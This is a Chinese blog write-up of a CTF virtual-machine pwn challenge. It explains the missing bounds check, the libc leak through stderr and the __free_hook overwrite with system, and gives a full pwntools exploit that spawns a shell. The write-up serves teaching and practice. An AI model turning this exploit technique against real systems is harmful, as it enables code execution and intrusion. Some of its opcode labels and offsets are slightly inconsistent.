登录后台

页面导航

本文编写于 197 天前,最后修改于 26 天前,其中某些信息可能已经过时。

静态分析

拿到题目后第一件事先检查程序的保护机制

image-20220319175948621

看到程序除了canary保护以为,其他保护都开了,丢到IDA里面静态分析,程序先是为comment参数分配了一块0x8c大小的内存,然后让我们输入指令起始位置和栈起始位置,然后将指令起始位置赋值给reg[13],将栈起始位置赋值给reg[15],而且指令的数量不能大于0x10000,然后就是需要我们一条一条输入指令,输入完毕后就读取指令并执行,最后会有一个向comment中写入数据然后调用sendcomment函数

image-20220319180604176

image-20220319181909521

然后我们分别看一下fetch() / execute() / sendcomment() 这三个函数

fetch()函数就是将指令取出来,然后将reg[15] + 1 去读取下一条指令

image-20220319183659334

execute()函数也是这里最重要的函数了,它实现了每一条指令的功能,该函数太长了,这里就直接把代码复制过来了

ssize_t __fastcall execute(int a1)
{
  ssize_t result; // rax
  unsigned __int8 src_2; // [rsp+18h] [rbp-8h]
  unsigned __int8 src_1; // [rsp+19h] [rbp-7h]
  unsigned __int8 dest; // [rsp+1Ah] [rbp-6h]
  int i; // [rsp+1Ch] [rbp-4h]

  dest = (a1 & 0xF0000u) >> 16;        // 将a1与上0xF0000然后右移16位赋值给dest
  src_1 = (unsigned __int16)(a1 & 0xF00) >> 8;    // 将a1与上0xF00然后右移8位赋值给src_1
  src_2 = a1 & 0xF;        // 将a1与上0xF然后赋值给src_2
  result = HIBYTE(a1);    // 取出操作码赋值给result
  if ( HIBYTE(a1) == 112 )
  {
    result = (ssize_t)reg;
    reg[dest] = reg[src_2] + reg[src_1];    // 加
    return result;
  }
  if ( HIBYTE(a1) > 0x70u )
  {
    if ( HIBYTE(a1) == 176 )
    {
      result = (ssize_t)reg;
      reg[dest] = reg[src_2] ^ reg[src_1];    // 异或
      return result;
    }
    if ( HIBYTE(a1) > 0xB0u )
    {
      if ( HIBYTE(a1) == 208 )
      {
        result = (ssize_t)reg;
        reg[dest] = (int)reg[src_1] >> reg[src_2];    // 右移
        return result;
      }
      if ( HIBYTE(a1) > 0xD0u )
      {
        if ( HIBYTE(a1) == 224 )
        {
          running = 0;
          if ( !reg[13] )
            return write(1, "EXIT\n", 5uLL);    // 退出
        }
        else if ( HIBYTE(a1) != 255 )
        {
          return result;
        }
        running = 0;
        for ( i = 0; i <= 15; ++i )
          printf("R%d: %X\n", (unsigned int)i, (unsigned int)reg[i]);
        result = write(1, "HALT\n", 5uLL);
      }
      else if ( HIBYTE(a1) == 192 )
      {
        result = (ssize_t)reg;
        reg[dest] = reg[src_1] << reg[src_2];    // 左移
      }
    }
    else
    {
      switch ( HIBYTE(a1) )
      {
        case 0x90u:
          result = (ssize_t)reg;
          reg[dest] = reg[src_2] & reg[src_1];    // 与
          break;
        case 0xA0u:
          result = (ssize_t)reg;
          reg[dest] = reg[src_2] | reg[src_1];    // 或
          break;
        case 0x80u:
          result = (ssize_t)reg;
          reg[dest] = reg[src_1] - reg[src_2];    // 减
          break;
      }
    }
  }
  else if ( HIBYTE(a1) == 48 )
  {
    result = (ssize_t)reg;
    reg[dest] = memory[reg[src_2]];        // mov reg, mem
  }
  else if ( HIBYTE(a1) > 0x30u )
  {
    switch ( HIBYTE(a1) )
    {
      case 0x50u:
        LODWORD(result) = reg[13];
        reg[13] = result + 1;
        result = (int)result;
        stack[(int)result] = reg[dest];        // 将数值放到stack[]数组中,即 push reg[dest]
        break;
      case 0x60u:
        --reg[13];
        result = (ssize_t)reg;
        reg[dest] = stack[reg[13]];        // 将stack[]数组中的数值让如reg[]数组中,即 pop reg[dest]
        break;
      case 0x40u:
        result = (ssize_t)memory;
        memory[reg[src_2]] = reg[dest];        // mov mem, reg
        break;
    }
  }
  else if ( HIBYTE(a1) == 16 )
  {
    result = (ssize_t)reg;
    reg[dest] = (unsigned __int8)a1;    // 将a1放到reg[dest]数组中
  }
  else if ( HIBYTE(a1) == 32 )
  {
    result = (ssize_t)reg;
    reg[dest] = (_BYTE)a1 == 0;        // 将0赋值给reg[dest]
  }
  return result;
}

大致指令如下

mov reg, op        0x10 : reg[dest] = op
mov reg, 0        0x20 : reg[dest] = 0
mov mem, reg    0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem    0x40 : memory[reg[src2]] = reg[dest]
push reg    0x50 : stack[result] = reg[dest]
pop reg     0x60 : reg[dest] = stack[reg[13]]
add         0x70 : reg[dest] = reg[src2] + reg[src1]
sub         0x80 : reg[dest] = reg[src1] - reg[src2]
and         0x90 : reg[dest] = reg[src2] & reg[src1]
or          0xA0 : reg[dest] = reg[src2] | reg[src1]
^              0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left        0xC0 : reg[dest] = reg[src1] << reg[src2]
right       0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper

这里的两个mov没有对memory[]数组进行边界检查,可以越界写

sendcomment()函数就是把comment给free掉了

image-20220319191019809

我们查看 comment、reg、memory、stack 这些数据都是存放在bss段上的,所以在 memory 越界写的时候,是可以把 comment、reg、stack 内容改掉的

image-20220319191242371

image-20220319191254605

而且程序最后又把comment给free掉了,如果我们能把 __free_hook 改为 system ,然后在 comment 里面写入 /bin/sh ,那么 free(comment) 就可以做到 system("/bin/sh")

泄露地址

当我们输入的操作数是0xE0的时候会将寄存器里面的值打印出来,所以这里可以泄露地址

image-20220319192202382

首先我们需要把 __free_hook 地址泄露出来,然后找到libc的基址,我们可以随便将got表中的一个函数的地址放到memary[]数组中这样后面打印memary[]数组的时候就可以把函数真实地址打印出来了,这里我们选择了离memary[]数组最近的stderr,

image-20220319202117494

我们可以把stderr的地址放到memary[]数组中,这样就可把stderr的地址打印出来,由于数组只能四字节四字节存放,而64位程序下地址有8字节,所以我们得将stderr的低四位和高四位分别存放,然后拼接起来,首先计算一下目标stderr相对于memary[]数组是第几个

memary[] : 0x0202060

stderr : 0x0201FF8

$$ (0x0202060 - 0x0201FF8) / 4 = 26 $$

reg[0] = 26
reg[1] = reg[1] - reg[0]
reg[2] = memory[reg[1]]        # 低四字节
reg[0] = 25
reg[1] = 0
reg[1] = reg[1] - reg[0]
reg[3] = memory[reg[1]]        # 高四字节

这样我们就成功将stderr的地址写入了reg[]数组中,就可以leak了

image-20220319203614831

漏洞利用

我们有了 stderr 的地址之后,因为存放在reg[]数组中,所以我们可以计算stderr的地址和__free_hook的偏移,然后把__free_hook-8的地址写到 comment 中,然后修改 comment 为 system 的地址即修改 __free_hook 为 system 的地址,并且把 /bin/sh 写到 comment 中,这样后续 free(comment) 就可以执行 system("/bin/sh") 了

我们用gdb调试程序,查看stderr的got表偏移,利用程序基址加上偏移计算出stderr的got表真实地址

image-20220319204358239

image-20220319204451761

然后我们查看__free_hook的地址,减去stderr的真实地址,就可以算出__free_hook相对于stderr的偏移了

image-20220319204713981

image-20220319204729000

这里我们依旧采用分两次高位、低位分别写入的方法,将__free_hook的地址拼接起来,由于这里reg[]数组数据每次只能操作两字节,所以__free_hook-8 即 0x10a0 采用 1 右移 3 字节加上 a 右移一字节的方法写到reg[4]中,然后再将偏移加上reg[2]中stderr的低四字节存放到reg[2]中,这样reg[2]和reg[3]拼接起来就是 __free_hook-8 的地址了

reg[4] = 0x10
reg[5] = 12
reg[4] = reg[4] << reg[5]
reg[5] = 0xa
reg[6] = 4
reg[5] = reg[5] << reg[6]
reg[4] = reg[4] + reg[5]
reg[2] = reg[4] + reg[2]

image-20220319210338966

image-20220319210350673

然后我们只需要把 __free_hook 的地址写到comment即可,这里我们算一下comment相对于memary[]数组的位置

menary[] : 0x0202060

comment : 0x0202040

$$ (0x0202060 - 0x0202040) / 8 = 8 $$

reg[4] = 8
reg[5] = 0
reg[5] = reg[5] - reg[4]
memory[reg[5]] = reg[2]
reg[4] = 7
reg[5] = 0
reg[5] = reg[5] - reg[4]
memary[reg[5]] = reg[3]
exit

还是老样子分低位高位写入,把__free_hook-8的地址写到comment上

image-20220319211555064

然后我们退出就可以,它就会把__free_hook-8的地址输出出来,我们把拿到的地址+8就可以得到__free_hook的真实地址吗,然后我们计算system函数的真实地址,然后再程序下面对comment进行写的操作的时候就可以写入 /bin/sh + p64(sys_addr) 写到 __free_hook-8 里面了,这时候__free_hook 就被我们写成了 system 函数

image-20220319211823391

image-20220319212251741

image-20220319212339483

然后程序最后执行 free(comment) 就相当于执行了 system("/bin/sh")

EXP编写

由于它的操作指令和操作数,是通过这个运算得到的,所以我们可以将我们想要的操作指令转换为数据输入

image-20220319212622378

我们逆过来计算

image-20220319212636079

完整exp:

from pwn import *
from LibcSearcher import *
sh = process("./pwn")
# sh = remote("node4.buuoj.cn", 29921)
# context.log_level = 'debug'
'''
0x10 : reg[dest] = op
0x20 : reg[dest] = 0
mov mem, reg    0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem    0x40 : memory[reg[src2]] = reg[dest]
push reg    0x50 : stack[result] = reg[dest]
pop reg     0x60 : reg[dest] = stack[reg[13]]
add         0x70 : reg[dest] = reg[src2] + reg[src1]
sub         0x80 : reg[dest] = reg[src1] - reg[src2]
and         0x90 : reg[dest] = reg[src2] & reg[src1]
or          0xA0 : reg[dest] = reg[src2] | reg[src1]
^          0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left        0xC0 : reg[dest] = reg[src1] << reg[src2]
right       0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper
'''

def send_code(opcode, dest, src1, src2):
    code = (opcode << 24) + (dest << 16) + (src1 << 8) + src2
    print(hex(code))
    return str(code)

# gdb.attach(sh, 'b *$rebase(0xC4A)')
sh.sendlineafter("PC: ", '0')
sh.sendlineafter("SP: ", '1')
sh.sendlineafter("CODE SIZE: ", "24")
sh.recvuntil("CODE: ")
# gdb.attach(sh, 'b *$rebase(0x0D4B)')

sh.sendline(send_code(0x10, 0, 0, 26))
sh.sendline(send_code(0x80, 1, 1, 0))
sh.sendline(send_code(0x30, 2, 0, 1))
sh.sendline(send_code(0x10, 0, 0, 25))
sh.sendline(send_code(0x10, 1, 0, 0))
sh.sendline(send_code(0x80, 1, 1, 0))
sh.sendline(send_code(0x30, 3, 0, 1))


sh.sendline(send_code(0x10, 4, 0, 0x10))
sh.sendline(send_code(0x10, 5, 0, 8))
sh.sendline(send_code(0xC0, 4, 4, 5))
sh.sendline(send_code(0x10, 5, 0, 0xa))
sh.sendline(send_code(0x10, 6, 0, 4))
sh.sendline(send_code(0xC0, 5, 5, 6))
sh.sendline(send_code(0x70, 4, 4, 5))
sh.sendline(send_code(0x70, 2, 4, 2))


sh.sendline(send_code(0x10, 4, 0, 8))
sh.sendline(send_code(0x10, 5, 0, 0))
sh.sendline(send_code(0x80, 5, 5, 4))
sh.sendline(send_code(0x40, 2, 0, 5))
sh.sendline(send_code(0x10, 4, 0, 7))
sh.sendline(send_code(0x10, 5, 0, 0))
sh.sendline(send_code(0x80, 5, 5, 4))
sh.sendline(send_code(0x40, 3, 0, 5))
sh.sendline(send_code(0xE0, 0, 0, 0))

# gdb.attach(sh)

sh.recvuntil("R2: ")
low = int(sh.recvuntil("\n"), 16) + 8
print("[*]" + hex(low))
sh.recvuntil("R3: ")
high = int(sh.recvuntil("\n"), 16)
free_hook_addr = (high << 32) + low
print("[*] __free_hook : " + hex(free_hook_addr))
libc = LibcSearcher('__free_hook', free_hook_addr)
libc_base = free_hook_addr - libc.dump("__free_hook")
sys_addr = libc_base + libc.dump("system")

# libc_base = free_hook_addr - 0x3c67a8
# sys_offset = [0x03f650, 0x03f650, 0x03f630,    0x03f630, 0x03f620, 0x045390, 0x0453a0, 0x0453a0, 0x045390]
# sys_addr = libc_base + sys_offset[6]

payload = b"/bin/sh\x00" + p64(sys_addr)
sh.send(payload)

# gdb.attach(sh)


sh. interactive()

拿到shell

image-20220319212839811

已有 1 条评论